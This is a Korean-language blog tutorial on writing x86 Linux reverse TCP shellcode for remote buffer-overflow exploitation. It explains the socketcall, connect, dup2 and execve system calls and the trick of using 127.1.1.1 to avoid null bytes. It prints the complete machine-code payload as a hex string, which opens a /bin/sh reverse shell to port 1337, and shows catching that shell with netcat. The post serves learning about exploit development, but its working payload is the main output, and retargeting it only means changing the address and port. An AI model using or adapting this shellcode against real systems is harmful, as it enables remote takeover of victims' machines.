Shellcode - Shell Reverse TCP Shellcode

2020. 9. 11. 01:57
환경

UBUNTU 16.04.07

VMware Workstation 15 Player

 

개요

Shell Reverse TCP Shellcode란 Remote BOF 기법에서 쓰이는 쉘코드로, Reverse connection 방식을 이용한다.

다른 방식에는 Bind가 있으며 추후에 다룰 예정이다.

 

Reverse connection은 공격자가 미리 서버를 Binding하고 있는 상태에서 피해자가 공격자의 서버에 접속하는 방식이다.

 

다시 말해, Shell Reverse TCP Shellcode는 피해자가 공격자의 서버에 접속해 공격자가 쉘을 떨어뜨리는 Shellcode이다.

 

Shellcode 제작

 

 

소켓을 만든 뒤, 로컬에서 55555포트에 연결하고 STDIN(0), STDOUT(1), STDERR(2)를 소켓에 Redirect 시킨 후, 쉘을 실행하는 프로그램이다.

 

STDIN, STDOUT, STDERR를 Redirect 시키는 이유는, execve() 함수로 실행된 쉘과 연결된 공격자 서버와의 Communication 때문이다.

 

위의 바이너리 C 소스파일을 직접 쉘코드로 제작하기 위해 System call과 여러 정보를 살펴보자.

 

 

strace를 이용해 어떤 System call이 호출되는지 살펴보았다.

사용되는 System call은 socket, connect, dup2, execve로 총 4개다.

 

 

리눅스에서 Socket과 관련된 System call은 socketcall() 이라고 하는 System call을 사용한다.

socketcall의 번호는 102이다.(0x66)

이와 관련된 내용은 /usr/include/x86_64-linux-gnu/asm/unistd_32.h에 있다.

 

 

man sockercall을 통해 본 socketcall()의 메뉴얼이다.

Subcall 번호, 호출하려는 함수의 인자들을 가지고 있는 배열의 주소가 socketcall 함수의 인자로 들어간다.

 

 

socket 함수의 Subcall 번호는 1번이다.

이 내용은 /usr/include/linux/net.h에서 확인할 수 있다.

 

 

man socket을 통해 본 socket()의 메뉴얼이다.

domain, type, protocol을 인자로 갖는 것을 확인할 수 있다.

 

IPv4 TCP 통신에서는 domain을 AF_INET, type을 SOCK_STREAM, protocol은 특별한 경우가 아닌 이상 0으로 설정하면 된다.

 

어셈블리에서는 C 언어 상수를 사용할 수 없다고 하니 각 상수의 값을 확인해보도록 하자.

 

먼저, domain에 사용될 상수값은 /usr/include/x86_64-linux-gnu/bits/socket.h에 정의되어 있다고 한다.

 

 

AF_INET은 PF_INET으로 정의되어있다.

 

 

PF_INET의 값은 2라고 나온다.

즉, AF_INET의 값이 2라는 의미이다.

 

다음으로 type에 사용될 상수값은 /usr/include/x86_64-linux-gnu/bits/socket_type.h에 정의되어 있다고 한다.

 

 

SOCK_STREAM의 값은 1이다.

 

정리
========================================================================
socket(AF_INET, SOCK_STREAM, 0)
========================================================================
내부 호출 => socketcall(Subcall NUM(socket), &[2, 1, 0])
System call NUM(socketcall) == 102(0x66)
Subcall NUM(socket) == 1
AF_INET == 2
SOCK_STREAM == 1

 

이제 socket() 함수를 사용하는데 필요한 정보는 다 얻었다.

이를 어셈블리어로 작성해보자.

 

 

위에서 만든 sockfd를 뒤에서 다시 사용해야하므로 esi 레지스터에 sockfd를 복사해놓는다.

 

이제 connect() 함수를 만들어보자.

 

 

connect() 함수의 Subcall 번호는 3이다.

 

 

connect() 함수는 위에서 esi 레지스터에 저장했던 sockfd(소켓 정보), Binding 하는 서버의 정보를 담는 sockaddr 구조체 *addr, *addr의 길이를 나타내는 addrlen을 인자로 갖는다.

 

인자에 구조체가 있으니 sockaddr 구조체를 살펴보러 가자.

이에 대한 정보는 /usr/include/linux/in.h에 있다.

 

 

주소가 어떤 형식인지를 나타내는 sin_family,

Port 번호를 저장하는 sin_port,

IP Address를 저장하는 sin_addr이 있다.

 

sin_family에는 IPv4인 AF_INET이 들어간다.

 

 

 

127 => 0x7f

1337 => 0x0539

 

우리는 little endian으로 넣어야하기 때문에 주소값의 정보를 반대로 넣어야한다.

 

IP Address는 0x0101017f,

Port 번호는 0x3905로 넣으면 된다.

 

Port 번호는 well-known port의 이후인 1024~65535번 중 아무거나 사용하면 된다.

IP Address는 localhost 주소인 127.0.0.1로 해야하는데 왜 127.1.1.1이 들어간 것일까?

그 이유는, 기계어로 변환했을 때 NULL바이트(\x00)이 절대 들어가면 안되기 때문이다.

즉, 127.0.0.1은 127.1.1.1로 대체될 수 있다는 뜻이다.

 

이제 connect() 함수도 어셈블리어로 작성해보겠다.

 

정리
========================================================================
connect(sockfd, addr, addrlen)
========================================================================
내부 호출 => socketcall(Subcall NUM(connect), &[$esi, &struct sockaddr, addrlen])
System call NUM(socketcall) => 102(0x66)
Subcall NUM(connect) => 3
========================================================================
구조체
========================================================================
IP Address => 0x0101017f(127.0.0.1 대체, localhost)
Port => 0x3905
family => AF_INET(2)

 

 

다음은 dup2 함수를 살펴보자.

 

 

dup2() 함수는 File descriptor를 복사하는 함수이다.

 

dup2() 함수를 사용해 STDIN, STDOUT, STDERR를 sockfd에 Redirect 시킬 것이다.

 

 

dup2() 함수의 System call 번호는 0x3f이다.

 

정리
========================================================================
dup2(sockfd, (0, 1, 2))
========================================================================
내부 호출 => dup2($esi -> $ebx, (0, 1, 2 -> 반복))
System call NUM(dup2) => 63(0x3f)

 

 

위 어셈블리 코드는 dup2() 함수를 반복 호출하며 STDIN(0), STDOUT(1), STDERR(2)를 sockfd로 Redirect 시킨다.

 

이제 그 뒤로 execve() 함수를 사용해 /bin/sh를 실행시키는 일반적인 코드가 들어가면 된다.

 

 

이로써 Shell Reverse TCP Shellcode가 완성되었다.

 

기계어를 추출해보자.

 

 

\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

 

 

위를 컴파일하자.

 

 

nc를 이용해 포트를 열고, 바이너리 파일을 실행해보자.

 

 

성공적으로 쉘을 획득했다.

'[▒] 언어 > Assembly' 카테고리의 다른 글

직접 만든 수제 쉘코드  (0) 2020.09.07
메모리 구조  (0) 2020.08.08
기초  (0) 2020.08.07

BELATED ARTICLES

more